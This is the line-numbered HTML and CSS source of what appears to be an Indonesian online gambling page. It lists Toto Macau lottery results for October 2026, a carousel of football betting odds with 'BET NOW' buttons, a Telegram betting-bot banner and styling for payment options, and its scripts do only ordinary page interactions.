3782</button> 3783 <div id="paito-TTM19" class="accordion-collapse collapse"> 3784 3785 <div class="result"> 3786 <div class="pasaran"></div> 3787 <div class="keluaran">2144</div> 3788 <div class="tanggal">08-10-2026</div> 3789 </div> 3790 3791 <div class="result"> 3792 <div class="pasaran"></div> 3793 <div class="keluaran">3508</div> 3794 <div class="tanggal">07-10-2026</div> 3795 </div> 3796 3797 <div class="result"> 3798 <div class="pasaran"></div> 3799 <div class="keluaran">3021</div> 3800 <div class="tanggal">06-10-2026</div> 3801 </div> 3802 3803 <div class="result"> 3804 <div class="pasaran"></div> 3805 <div class="keluaran">0996</div> 3806 <div class="tanggal">05-10-2026</div> 3807 </div> 3808 3809 <div class="result"> 3810 <div class="pasaran"></div> 3811 <div class="keluaran">0166</div> 3812 <div class="tanggal">04-10-2026</div> 3813 </div> 3814 3815 <div class="result"> 3816 <div class="pasaran"></div> 3817 <div class="keluaran">9946</div> 3818 <div class="tanggal">03-10-2026</div> 3819 </div> 3820 3821 <div class="result"> 3822 <div class="pasaran"></div> 3823 <div class="keluaran">9822</div> 3824 <div class="tanggal">02-10-2026</div> 3825 </div> 3826 </div> 3827 </div> 3828 3829 <div class="result-data accordion-item"> 3830 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM22"> 3831 <div class="badge"> 3832 </div> 3833 <div class="pasaran">TOTOMACAU2200 </div> 3834 <div class="keluaran">6078</div> 3835 <div class="tanggal">09-10-2026</div> 3836 </button> 3837 <div id="paito-TTM22" class="accordion-collapse collapse"> 3838 3839 <div class="result"> 3840 <div class="pasaran"></div> 3841 <div class="keluaran">0522</div> 3842 <div class="tanggal">08-10-2026</div> 3843 </div> 3844 3845 <div class="result"> 3846 <div class="pasaran"></div> 3847 <div class="keluaran">9798</div> 3848 <div class="tanggal">07-10-2026</div> 3849 </div> 3850 3851 <div class="result"> 3852 <div class="pasaran"></div> 3853 <div class="keluaran">1928</div> 3854 <div class="tanggal">06-10-2026</div> 3855 </div> 3856 3857 <div class="result"> 3858 <div class="pasaran"></div> 3859 <div class="keluaran">5522</div> 3860 <div class="tanggal">05-10-2026</div> 3861 </div> 3862 3863 <div class="result"> 3864 <div class="pasaran"></div> 3865 <div class="keluaran">6057</div> 3866 <div class="tanggal">04-10-2026</div> 3867 </div> 3868 3869 <div class="result"> 3870 <div class="pasaran"></div> 3871 <div class="keluaran">5488</div> 3872 <div class="tanggal">03-10-2026</div> 3873 </div> 3874 3875 <div class="result"> 3876 <div class="pasaran"></div> 3877 <div class="keluaran">4574</div> 3878 <div class="tanggal">02-10-2026</div> 3879 </div> 3880 </div> 3881 </div> 3882 3883 <div class="result-data accordion-item"> 3884 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM23"> 3885 <div class="badge"> 3886 </div> 3887 <div class="pasaran">TOTOMACAU2300 </div> 3888 <div class="keluaran">6884</div> 3889 <div class="tanggal">09-10-2026</div> 3890 </button> 3891 <div id="paito-TTM23" class="accordion-collapse collapse"> 3892 3893 <div class="result"> 3894 <div class="pasaran"></div> 3895 <div class="keluaran">5747</div> 3896 <div class="tanggal">08-10-2026</div> 3897 </div> 3898 3899 <div class="result"> 3900 <div class="pasaran"></div> 3901 <div class="keluaran">1034</div> 3902 <div class="tanggal">07-10-2026</div> 3903 </div> 3904 3905 <div class="result"> 3906 <div class="pasaran"></div> 3907 <div class="keluaran">0578</div> 3908 <div class="tanggal">06-10-2026</div> 3909 </div> 3910 3911 <div class="result"> 3912 <div class="pasaran"></div> 3913 <div class="keluaran">6474</div> 3914 <div class="tanggal">05-10-2026</div> 3915 </div> 3916 3917 <div class="result"> 3918 <div class="pasaran"></div> 3919 <div class="keluaran">2233</div> 3920 <div class="tanggal">04-10-2026</div> 3921 </div> 3922 3923 <div class="result"> 3924 <div class="pasaran"></div> 3925 <div class="keluaran">4413</div> 3926 <div class="tanggal">03-10-2026</div> 3927 </div> 3928 3929 <div class="result"> 3930 <div class="pasaran"></div> 3931 <div class="keluaran">9822</div> 3932 <div class="tanggal">02-10-2026</div> 3933 </div> 3934 </div> 3935 </div> 3936 3937 </div> 3938 3939 </div> 3940 </div> 3941 </div> 3942 3943
3943<script> 3944 3945 function togglePaito(paitoid) { 3946 let paito = document.getElementById(paitoid); 3947 paito.classList.add("open"); 3948 } 3949 3950 3951 </script>
3951 3952 3953 <div class="transaksi p-0 py-lg-4"> 3954 <div class="d-none d-lg-block"> 3955 <!-- BANNER SBO DESKTOP --> 3956 <div class="match-slider-wrap"> 3957 <div id="sboMatchCarouselDesktop" class="carousel slide" data-bs-ride="carousel" data-bs-interval="4500"> 3958 3959 <div class="carousel-indicators"> 3960 <button 3961 type="button" 3962 data-bs-target="#sboMatchCarouselDesktop" 3963 data-bs-slide-to="0" 3964 class="active" 3965 aria-current="true" aria-label="Slide 1"> 3966 </button> 3967 <button 3968 type="button" 3969 data-bs-target="#sboMatchCarouselDesktop" 3970 data-bs-slide-to="1" 3971 class="" 3972 aria-label="Slide 2"> 3973 </button> 3974 <button 3975 type="button" 3976 data-bs-target="#sboMatchCarouselDesktop" 3977 data-bs-slide-to="2" 3978 class="" 3979 aria-label="Slide 3"> 3980 </button> 3981 <button 3982 type="button" 3983 data-bs-target="#sboMatchCarouselDesktop" 3984 data-bs-slide-to="3" 3985 class="" 3986 aria-label="Slide 4"> 3987 </button> 3988 </div> 3989 3990 <div class="carousel-inner"> 3991 <div class="carousel-item active"> 3992 <div class="row g-3"> 3993 <div class="col-12 col-md-6 col-lg-4"> 3994 <div class="match-card h-100"> 3995 <div class="league-name"> 3996 ENGLISH PREMIER LEAGUE </div> 3997 3998 <div class="kickoff-time"> 3999 October 10, 2026 â 18:30 WIB </div> 4000 4001 <div class="match-main-row"> 4002 <div class="team-col"> 4003 <img 4004 src="https://cdn.sportnanoapi.com/football/team/d6f5debc456da1119256ab66462ab510.png" 4005 alt="Arsenal" 4006 class="team-logo" 4007 > 4008 <div class="team-name"> 4009 Arsenal </div> 4010 </div> 4011 4012 <div class="score-col"> 4013 <div class="score-value"> 4014 0 : 0 </div> 4015 4016 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100346')"> 4017 BET NOW 4018 </a> 4019 </div> 4020 4021 <div class="team-col"> 4022 <img 4023 src="https://cdn.sportnanoapi.com/football/team/cd46d2ed1d364308dc206c97b48
4023ce556.png" 4024 alt="Leeds United" 4025 class="team-logo" 4026 > 4027 <div class="team-name"> 4028 Leeds United </div> 4029 </div> 4030 </div> 4031 4032 <div class="match-odds-row"> 4033 <div class="odds-col"> 4034 <span> 4035 0.75 <small>0.50</small> 4036 </span> 4037 </div> 4038 4039 <div class="odds-spacer"></div> 4040 4041 <div class="odds-col"> 4042 <span> 4043 -0.75 <small>-0.60</small> 4044 </span> 4045 </div> 4046 </div> 4047 </div> 4048 </div> 4049 <div class="col-12 col-md-6 col-lg-4"> 4050 <div class="match-card h-100"> 4051 <div class="league-name"> 4052 ENGLISH PREMIER LEAGUE </div> 4053 4054 <div class="kickoff-time"> 4055 October 10, 2026 â 21:00 WIB </div> 4056 4057 <div class="match-main-row"> 4058 <div class="team-col"> 4059 <img 4060 src="https://cdn.sportnanoapi.com/football/team/a0cf8f551e9440acb3f4ff533dcc58a4.png" 4061 alt="Chelsea" 4062 class="team-logo" 4063 > 4064 <div class="team-name"> 4065 Chelsea </div> 4066 </div> 4067 4068 <div class="score-col"> 4069 <div class="score-value"> 4070 0 : 0 </div> 4071 4072 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100428')"> 4073 BET NOW 4074 </a> 4075 </div> 4076 4077 <div class="team-col"> 4078 <img 4079 src="https://cdn.sportnanoapi.com/football/team/240b30d333c97d293752ab7afd77ccd6.png" 4080 alt="Bournemouth AFC" 4081 class="team-logo" 4082 > 4083 <div class="team-name"> 4084 Bournemouth AFC </div> 4085 </div> 4086 </div> 4087 4088 <div class="match-odds-row"> 4089 <div class="odds-col"> 4090 <sp
4090an> 4091 0.5 <small>0.66</small> 4092 </span> 4093 </div> 4094 4095 <div class="odds-spacer"></div> 4096 4097 <div class="odds-col"> 4098 <span> 4099 -0.5 <small>-0.76</small> 4100 </span> 4101 </div> 4102 </div> 4103 </div> 4104 </div> 4105 <div class="col-12 col-md-6 col-lg-4"> 4106 <div class="match-card h-100"> 4107 <div class="league-name"> 4108 SPAIN LA LIGA </div> 4109 4110 <div class="kickoff-time"> 4111 October 10, 2026 â 23:30 WIB </div> 4112 4113 <div class="match-main-row"> 4114 <div class="team-col"> 4115 <img 4116 src="https://cdn.sportnanoapi.com/football/team/f378eb1ea04e53999b89051aa3244de6.png" 4117 alt="Barcelona" 4118 class="team-logo" 4119 > 4120 <div class="team-name"> 4121 Barcelona </div> 4122 </div> 4123 4124 <div class="score-col"> 4125 <div class="score-value"> 4126 0 : 0 </div> 4127 4128 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215606')"> 4129 BET NOW 4130 </a> 4131 </div> 4132 4133 <div class="team-col"> 4134 <img 4135 src="https://cdn.sportnanoapi.com/football/team/36bf5bf0c8fdf08c1270124808f060e1.png" 4136 alt="Getafe" 4137 class="team-logo" 4138 > 4139 <div class="team-name"> 4140 Getafe </div> 4141 </div> 4142 </div> 4143 4144 <div class="match-odds-row"> 4145 <div class="odds-col"> 4146 <sp
4146an> 4147 2.5 <small>0.82</small> 4148 </span> 4149 </div> 4150 4151 <div class="odds-spacer"></div> 4152 4153 <div class="odds-col"> 4154 <span> 4155 -2.5 <small>-0.92</small> 4156 </span> 4157 </div> 4158 </div> 4159 </div> 4160 </div> 4161 </div> 4162 </div> 4163 <div class="carousel-item "> 4164 <div class="row g-3"> 4165 <div class="col-12 col-md-6 col-lg-4"> 4166 <div class="match-card h-100"> 4167 <div class="league-name"> 4168 ENGLISH PREMIER LEAGUE </div> 4169 4170 <div class="kickoff-time"> 4171 October 10, 2026 â 21:00 WIB </div> 4172 4173 <div class="match-main-row"> 4174 <div class="team-col"> 4175 <img 4176 src="https://cdn.sportnanoapi.com/football/team/a3c32d6a906083118cac2cb796edaab3.png" 4177 alt="Aston Villa" 4178 class="team-logo" 4179 > 4180 <div class="team-name"> 4181 Aston Villa </div> 4182 </div> 4183 4184 <div class="score-col"> 4185 <div class="score-value"> 4186 0 : 0 </div> 4187 4188 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100395')"> 4189 BET NOW 4190 </a> 4191 </div> 4192 4193 <div class="team-col"> 4194 <img 4195 src="https://cdn.sportnanoapi.com/football/team/60f1c7788be3148a370dbf59f914abfe.png" 4196 alt="Brentford" 4197 class="team-logo" 4198 > 4199 <div class="team-name"> 4200 Brentford </div> 4201 </div> 4202 </div> 4203 4204 <div class="match-odds-row"> 4205 <div class="odds-col"> 4206 <sp
4206an> 4207 0.00 <small>-0.97</small> 4208 </span> 4209 </div> 4210 4211 <div class="odds-spacer"></div> 4212 4213 <div class="odds-col"> 4214 <span> 4215 0.00 <small>0.87</small> 4216 </span> 4217 </div> 4218 </div> 4219 </div> 4220 </div> 4221 <div class="col-12 col-md-6 col-lg-4"> 4222 <div class="match-card h-100"> 4223 <div class="league-name"> 4224 ENGLISH PREMIER LEAGUE </div> 4225 4226 <div class="kickoff-time"> 4227 October 10, 2026 â 21:00 WIB </div> 4228 4229 <div class="match-main-row"> 4230 <div class="team-col"> 4231 <img 4232 src="https://cdn.sportnanoapi.com/football/team/957bdc50c307e2a9b526b34b3792da1a.png" 4233 alt="Sunderland" 4234 class="team-logo" 4235 > 4236 <div class="team-name"> 4237 Sunderland </div> 4238 </div> 4239 4240 <div class="score-col"> 4241 <div class="score-value"> 4242 0 : 0 </div> 4243 4244 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100525')"> 4245 BET NOW 4246 </a> 4247 </div> 4248 4249 <div class="team-col"> 4250 <img 4251 src="https://cdn.sportnanoapi.com/football/team/9b43a690d5a09f1e319f036821e8e1d3.png" 4252 alt="Brighton & Hove Albion" 4253 class="team-logo" 4254 > 4255 <div class="team-name"> 4256 Brighton & Hove Albion </div> 4257 </div> 4258 </div> 4259 4260 <div class="match-odds-row"> 4261 <div class="odds-col"> 4262 <sp
4262an> 4263 0.00 <small>-0.82</small> 4264 </span> 4265 </div> 4266 4267 <div class="odds-spacer"></div> 4268 4269 <div class="odds-col"> 4270 <span> 4271 0.00 <small>0.72</small> 4272 </span> 4273 </div> 4274 </div> 4275 </div> 4276 </div> 4277 <div class="col-12 col-md-6 col-lg-4"> 4278 <div class="match-card h-100"> 4279 <div class="league-name"> 4280 ENGLISH PREMIER LEAGUE </div> 4281 4282 <div class="kickoff-time"> 4283 October 10, 2026 â 23:30 WIB </div> 4284 4285 <div class="match-main-row"> 4286 <div class="team-col"> 4287 <img 4288 src="https://cdn.sportnanoapi.com/football/team/d39ce586fd7278342dde33b3090b3f75.png" 4289 alt="Manchester United" 4290 class="team-logo" 4291 > 4292 <div class="team-name"> 4293 Manchester United </div> 4294 </div> 4295 4296 <div class="score-col"> 4297 <div class="score-value"> 4298 0 : 0 </div> 4299 4300 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100582')"> 4301 BET NOW 4302 </a> 4303 </div> 4304 4305 <div class="team-col"> 4306 <img 4307 src="https://cdn.sportnanoapi.com/football/team/8b22ab4041e666b996a2d96f20dea707.png" 4308 alt="Tottenham Hotspur" 4309 class="team-logo" 4310 > 4311 <div class="team-name"> 4312 Tottenham Hotspur </div> 4313 </div> 4314 </div> 4315 4316 <div class="match-odds-row"> 4317 <div class="odds-col"> 4318 <sp
4318an> 4319 0.5 <small>0.72</small> 4320 </span> 4321 </div> 4322 4323 <div class="odds-spacer"></div> 4324 4325 <div class="odds-col"> 4326 <span> 4327 -0.5 <small>-0.82</small> 4328 </span> 4329 </div> 4330 </div> 4331 </div> 4332 </div> 4333 </div> 4334 </div> 4335 <div class="carousel-item "> 4336 <div class="row g-3"> 4337 <div class="col-12 col-md-6 col-lg-4"> 4338 <div class="match-card h-100"> 4339 <div class="league-name"> 4340 SPAIN LA LIGA </div> 4341 4342 <div class="kickoff-time"> 4343 October 11, 2026 â 02:00 WIB </div> 4344 4345 <div class="match-main-row"> 4346 <div class="team-col"> 4347 <img 4348 src="https://cdn.sportnanoapi.com/football/team/7dacaa934fe4be00f23c1e209b5ef947.png" 4349 alt="Real Madrid" 4350 class="team-logo" 4351 > 4352 <div class="team-name"> 4353 Real Madrid </div> 4354 </div> 4355 4356 <div class="score-col"> 4357 <div class="score-value"> 4358 0 : 0 </div> 4359 4360 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215615')"> 4361 BET NOW 4362 </a> 4363 </div> 4364 4365 <div class="team-col"> 4366 <img 4367 src="https://cdn.sportnanoapi.com/football/team/aee62af96a956756cc29fe4831286357.png" 4368 alt="Villarreal" 4369 class="team-logo" 4370 > 4371 <div class="team-name"> 4372 Villarreal </div> 4373 </div> 4374 </div> 4375 4376 <div class="match-odds-row"> 4377 <div class="odds-col"> 4378 <sp
4378an> 4379 1 <small>0.55</small> 4380 </span> 4381 </div> 4382 4383 <div class="odds-spacer"></div> 4384 4385 <div class="odds-col"> 4386 <span> 4387 -1 <small>-0.65</small> 4388 </span> 4389 </div> 4390 </div> 4391 </div> 4392 </div> 4393 <div class="col-12 col-md-6 col-lg-4"> 4394 <div class="match-card h-100"> 4395 <div class="league-name"> 4396 ITALY SERIE A </div> 4397 4398 <div class="kickoff-time"> 4399 October 10, 2026 â 22:59 WIB </div> 4400 4401 <div class="match-main-row"> 4402 <div class="team-col"> 4403 <img 4404 src="https://cdn.sportnanoapi.com/football/team/aa2245702c40f77799a5ad4b119581a8.png" 4405 alt="Inter Milan" 4406 class="team-logo" 4407 > 4408 <div class="team-name"> 4409 Inter Milan </div> 4410 </div> 4411 4412 <div class="score-col"> 4413 <div class="score-value"> 4414 0 : 0 </div> 4415 4416 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145618118')"> 4417 BET NOW 4418 </a> 4419 </div> 4420 4421 <div class="team-col"> 4422 <img 4423 src="https://cdn.sportnanoapi.com/football/team/9fadd87d190982c8082dddf1567e0b9b.png" 4424 alt="Parma Calcio" 4425 class="team-logo" 4426 > 4427 <div class="team-name"> 4428 Parma Calcio </div> 4429 </div> 4430 </div> 4431 4432 <div class="match-odds-row"> 4433 <div class="odds-col"> 4434 <sp
4434an> 4435 2 <small>0.65</small> 4436 </span> 4437 </div> 4438 4439 <div class="odds-spacer"></div> 4440 4441 <div class="odds-col"> 4442 <span> 4443 -2 <small>-0.75</small> 4444 </span> 4445 </div> 4446 </div> 4447 </div> 4448 </div> 4449 <div class="col-12 col-md-6 col-lg-4"> 4450 <div class="match-card h-100"> 4451 <div class="league-name"> 4452 SPAIN LA LIGA </div> 4453 4454 <div class="kickoff-time"> 4455 October 10, 2026 â 19:00 WIB </div> 4456 4457 <div class="match-main-row"> 4458 <div class="team-col"> 4459 <img 4460 src="https://cdn.sportnanoapi.com/football/team/5005d8feab109ce64e40beb98073cc1f.png" 4461 alt="Rayo Vallecano" 4462 class="team-logo" 4463 > 4464 <div class="team-name"> 4465 Rayo Vallecano </div> 4466 </div> 4467 4468 <div class="score-col"> 4469 <div class="score-value"> 4470 0 : 0 </div> 4471 4472 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215614')"> 4473 BET NOW 4474 </a> 4475 </div> 4476 4477 <div class="team-col"> 4478 <img 4479 src="https://cdn.sportnanoapi.com/football/team/abbb31d42c55612737713aac6567a226.png" 4480 alt="Athletic Bilbao" 4481 class="team-logo" 4482 > 4483 <div class="team-name"> 4484 Athletic Bilbao </div> 4485 </div> 4486 </div> 4487 4488 <div class="match-odds-row"> 4489 <div class="odds-col"> 4490 <sp
4490an> 4491 0.00 <small>0.98</small> 4492 </span> 4493 </div> 4494 4495 <div class="odds-spacer"></div> 4496 4497 <div class="odds-col"> 4498 <span> 4499 0.00 <small>0.92</small> 4500 </span> 4501 </div> 4502 </div> 4503 </div> 4504 </div> 4505 </div> 4506 </div> 4507 <div class="carousel-item "> 4508 <div class="row g-3"> 4509 <div class="col-12 col-md-6 col-lg-4"> 4510 <div class="match-card h-100"> 4511 <div class="league-name"> 4512 ENGLISH PREMIER LEAGUE </div> 4513 4514 <div class="kickoff-time"> 4515 October 11, 2026 â 22:30 WIB </div> 4516 4517 <div class="match-main-row"> 4518 <div class="team-col"> 4519 <img 4520 src="https://cdn.sportnanoapi.com/football/team/1cb3d08adac0e2dc1c4f10429d055bfe.png" 4521 alt="Liverpool" 4522 class="team-logo" 4523 > 4524 <div class="team-name"> 4525 Liverpool </div> 4526 </div> 4527 4528 <div class="score-col"> 4529 <div class="score-value"> 4530 0 : 0 </div> 4531 4532 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100751')"> 4533 BET NOW 4534 </a> 4535 </div> 4536 4537 <div class="team-col"> 4538 <img 4539 src="https://cdn.sportnanoapi.com/football/team/c4a6528a2ee147b99c9885ef24385a4e.png" 4540 alt="Manchester City" 4541 class="team-logo" 4542 > 4543 <div class="team-name"> 4544 Manchester City </div> 4545 </div> 4546 </div> 4547 4548 <div class="match-odds-row"> 4549 <div class="odds-col"> 4550 <sp
4550an> 4551 0.00 <small>-0.83</small> 4552 </span> 4553 </div> 4554 4555 <div class="odds-spacer"></div> 4556 4557 <div class="odds-col"> 4558 <span> 4559 0.00 <small>0.73</small> 4560 </span> 4561 </div> 4562 </div> 4563 </div> 4564 </div> 4565 </div> 4566 </div> 4567 </div> 4568 4569 <button class="carousel-control-prev" type="button" data-bs-target="#sboMatchCarouselDesktop" data-bs-slide="prev"> 4570 <span class="carousel-control-prev-icon" aria-hidden="true"></span> 4571 <span class="visually-hidden">Previous</span> 4572 </button> 4573 4574 <button class="carousel-control-next" type="button" data-bs-target="#sboMatchCarouselDesktop" data-bs-slide="next"> 4575 <span class="carousel-control-next-icon" aria-hidden="true"></span> 4576 <span class="visually-hidden">Next</span> 4577 </button> 4578 </div> 4579 </div> 4580 <!-- BANNER SBO DESKTOP END --> 4581 <!-- Banner Telegram --> 4582 4583 4584 <style> 4585 .telegram-bet-title { 4586 font-size: 1.3rem; 4587 font-weight: 800; 4588 letter-spacing: 1px; 4589 text-transform: uppercase; 4590 color: #ffffff; 4591 4592 /* NEON TELEGRAM GLOW */ 4593 text-shadow: 4594 /* inner white core */ 4595 0 0 2px rgba(255,255,255,0.9), 4596 4597 /* tight Telegram glow */ 4598 0 0 6px rgba(0,136,204,0.9), 4599 0 0 12px rgba(0,136,204,0.8), 4600 4601 /* outer neon halo */ 4602 0 0 22px rgba(0,136,204,0.6), 4603 0 0 38px rgba(0,136,204,0.45), 4604 0 0 60px rgba(0,136,204,0.3); 4605 } 4606 </style> 4607 4608 <style> 4609 .btn-telegram-neon { 4610 font-weight: 600; 4611 padding: 10px 16px; 4612 border-radius: 10px; 4613 letter-spacing: 0.3px; 4614 4615 background: #0088cc; 4616 border: none; 4617 color: #ffffff; 4618 4619 /* clean Telegram neon */ 4620 box-shadow: 4621 0 2px 6px rgba(0,136,204,0.35), 4622 0 0 10px rgba(0,136,204,0.25); 4623 4624 transition: box-shadow 0.25s ease, transform 0.2s ease; 4625 } 4626 4627 /* hover: slight lift + glow */ 4628 .btn-telegram-neon:hover { 4629 box-shadow: 4630 0 4px 10px rgba(0,136,204,0.45), 4631 0 0 16px rgba(0,136,204,0.35); 4632 transform: translateY(-1px); 4633 } 4634 4635 /* active */ 4636 .btn-telegram-neon:active { 4637 transform: translateY(0); 4638 box-shadow: 4639 0 2px 5px rgba(0,136,204,0.35); 4640 } 4641 </style> 4642 4643 <style> 4644 .telegram-float { 4645 animation: telegramFloat 3.5s ease-in-out infinite; 4646 } 4647 4648 @keyframes telegramFloat { 4649 0%, 100% { 4650 transform: translateY(0); 4651 } 4652 50% { 4653 transform: translateY(-8px); 4654 } 4655 } 4656 </style> 4657 4658 <div class="mb-lg-3" style="width: 100%; position: relative; display: flex; align-items: center"> 4659 <div style="z-index: 10; display: flex; justify-content: space-between; align-items: center; width: 100%; margin-left: 80px; margin-right: 40px"> 4660 <div class="d-flex gap-4"> 4661 <img src="https://img.viva88athenae.com//banner-telegram-icon.png" class="telegram-float"/> 4662 <div class="d-flex flex-column justify-content-center gap-1"> 4663 <strong class="telegram-bet-title">TELEGRAM BET</strong> 4664 4665 <div class="d-flex gap-3"> 4666 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Daftar</em></div> 4667 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Login</em></div> 4668 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Deposit</em></div> 4669 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Withdraw</em></div> 4670 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Bet</em></div> 4671 </div> 4672 </div> 4673 </div> 4674 4675 <button class="btn-telegram-neon rounded-pill" onclick="window.open('https://telegram.me/harum4d_bot', '_blank')">Mainkan Sekarang</button> 4676 4677 </div> 4678 <div style="position: absolute; width: 100%; background: gray"> 4679 <img src="https://img.viva88athenae.com//banner-telegram.jpg" /> 4680 </div> 4681 4682 </div> 4683 4684 4685 4686 <div class="transaksi-kontak"> 4687 4688 <div class="d-flex flex-column w-100"> 4689 <div class="transaksi-content"> 4690 <!-- Bank --> 4691 4692<style> 4693 /* ====== LAYOUT KESELURUHAN ====== */ 4694 4695 .transaksi-layout { 4696 display: flex; 4697 justify-content: center; 4698 gap: 16px; 4699 align-items: center; 4700 } 4701 4702 .transaksi-left-inner { 4703 width: 100%; 4704 } 4705 4706 .transaksi-left-img { 4707 width: 100%; 4708 height: auto; 4709 display: block; 4710 object-fit: cover; 4711 } 4712 4713 .transaksi-right-box { 4714 flex: 1; 4715 display: flex; 4716 justify-content: flex-start; 4717 } 4718 4719 .transaksi-group { 4720 display: flex; 4721 flex-direction: column; 4722 gap: 16px; 4723 width: 100%; 4724 grid-template-areas: 4725 "transaksi-bank transaksi-other transaksi-crypto"; 4726 } 4727 4728 .transaksi-bank { 4729 grid-area: transaksi-bank; 4730 display: grid; 4731 place-items: center; 4732 justify-content: flex-start; 4733 } 4734 4735 .transaksi-other { 4736 grid-area: transaksi-other; 4737 display: flex; 4738 justify-content: flex-start; 4739 width: 100%; 4740 } 4741 4742 .transaksi-crypto { 4743 grid-area: transaksi-crypto; 4744 display: flex; 4745 justify-content: flex-start; 4746 width: 100%; 4747 } 4748 4749 .transaksi-wrapper { 4750 display: flex; 4751 flex-direction: column; 4752 gap: .5rem; 4753 align-items: flex-start; 4754 } 4755 4756 .transaksi-name { 4757 font-size: 1.1rem; 4758 font-weight: bold; 4759 line-height: 1.5rem; 4760 } 4761 4762 /* ====== GRID LIST ====== */ 4763 4764 .transaksi-list-bank, 4765 .transaksi-list-other { 4766 height: fit-content; 4767 display: grid; 4768 grid-template-columns: repeat(5, minmax(80px, 1fr)); 4769 gap: 4px 6px; 4770 } 4771 4772 .transaksi-list-crypto { 4773 height: fit-content; 4774 display: flex; 4775 align-items: center; 4776 gap: 24px; 4777 width: 100%; 4778 justify-content: flex-start; 4779 } 4780 4781 .icon-crypto { 4782 width: 24px; 4783 height: 24px; 4784 } 4785 4786 /* ====== ITEM BANK / EMONEY ====== */ 4787 4788 .transaksi-item { 4789 display: flex; 4790 flex-direction: column; 4791 position: relative; 4792 } 4793 4794 .transaksi-header { 4795 height: 30px; 4796 border-radius: 5px; 4797 font-weight: bold; 4798 border: 2px solid rgba(108,108,108,1); 4799 background: rgba(54,54,54,1); 4800 color: white; 4801 display: flex; 4802 align-items: center; 4803 justify-content: center; 4804 padding: 0 12px 0 22px; /* extra space kiri buat dot */ 4805 font-size: 0.9rem; 4806 white-space: nowrap; 4807 } 4808 4809 /* strip bawah lama dimatikan */ 4810 .transaksi-status { 4811 display: none; 4812 } 4813 4814 /* ====== ONLINE / OFFLINE DOT ====== */ 4815 4816 /* ONLINE: tambahkan class is-online di PHP */ 4817 .transaksi-header.is-online::before { 4818 content: ""; 4819 position: absolute; 4820 left: 8px; 4821 top: 50%; 4822 transform: translateY(-50%); 4823 width: 9px; 4824 height: 9px; 4825 border-radius: 50%; 4826 background-color: #00ff66; 4827 box-shadow: 0 0 6px rgba(0, 255, 102, .85); 4828 } 4829 4830 /* OFFLINE: is-offline (lebih gelap + tanpa dot) */ 4831 .transaksi-header.is-offline { 4832 background: #2e2e2e; 4833 border-color: #555; 4834 opacity: .4; 4835 } 4836 4837 /* backup: kalau lupa kasih class di PHP, treat sebagai offline */ 4838 .transaksi-header:not(.is-online):not(.is-offline) { 4839 background: #2e2e2e; 4840 border-color: #555; 4841 opacity: .4; 4842 } 4843 4844 @media only screen and (max-width: 768px) { 4845 4846 .transaksi-layout { 4847 flex-direction: column; 4848 align-items: center; 4849 } 4850 4851 .transaksi-group { 4852 display: grid; 4853 grid-template-columns: 1fr; 4854 grid-template-areas: 4855 "transaksi-bank" 4856 "transaksi-other" 4857 "transaksi-crypto"; 4858 gap: 32px; 4859 margin-bottom: 8px; 4860 } 4861 4862 .transaksi-header { 4863 font-size: 1.1rem; 4864 height: 36px; 4865 } 4866 4867 .transaksi-list-bank { 4868 grid-template-columns: repeat(4, 1fr); 4869 } 4870 4871 .transaksi-list-other { 4872 grid-template-columns: repeat(4, 1fr); 4873 } 4874 4875 .transaksi-list-crypto { 4876 width: 86%; 4877 margin: auto; 4878 flex-wrap: wrap; 4879 } 4880 4881 .transaksi-item { 4882 width: 100%; 4883 } 4884 4885 .transaksi-name { 4886 font-size: 1.3rem; 4887 text-align: center; 4888 line-height: 1.8rem; 4889 } 4890 4891 .transaksi-wrapper { 4892 width: 100%; 4893 max-width: 100%!important; 4894 gap: 1rem; 4895 align-items: center; 4896 } 4897 4898 .icon-crypto { 4899 width: 28px; 4900 height: 28px; 4901 } 4902 } 4903 4904 /* LEBAR BOX BANK BIAR RAPI DAN CENTER */ 4905 .transaksi-header { 4906 height: 34px; 4907 border-radius: 6px; 4908 font-weight: bold; 4909 border: 2px solid rgba(108,108,108,1); 4910 background: rgba(54,54,54,1); 4911 color: white; 4912 4913 /* Tambahan baru */ 4914 min-width: 110px; /* Lebarin biar semua rata */ 4915 padding: 0 16px 0 28px; /* Kasih ruang untuk dot */ 4916 display: flex; 4917 align-items: center; 4918 justify-content: center; 4919 text-align: center; 4920 4921 white-space: nowrap; 4922 } 4923 4924 /* DOT ONLINE */ 4925 .transaksi-header.is-online::before { 4926 content: ""; 4927 position: absolute; 4928 left: 10px; 4929 top: 50%; 4930 transform: translateY(-50%); 4931 width: 10px; 4932 height: 10px; 4933 border-radius: 50%; 4934 background-color: #00ff66; 4935 box-shadow: 0 0 6px rgba(0, 255, 102, .85); 4936 } 4937 4938 /* OFFLINE (DISABLED) */ 4939 .transaksi-header.is-offline { 4940 padding: 0 16px; 4941 background: #2e2e2e; 4942 border-color: #555; 4943 opacity: .35; 4944 align-items: center; 4945 justify-content: center; 4946 text-align: center; 4947 } 4948 4949 /* GRID-nya sedikit dilebarin biar simetris */ 4950 .transaksi-list-bank, 4951 .transaksi-list-other { 4952 grid-template-columns: repeat(4, minmax(110px, 1fr)); 4953 gap: 8px 10px; 4954 } 4955 4956</style> 4957 4958<div class="transaksi-layout"> 4959 <div class="transaksi-left-box"> 4960 <div class="transaksi-left-inner"> 4961 <img src="/images/transaksi.png" class="transaksi-left-img"> 4962 </div> 4963 </div> 4964 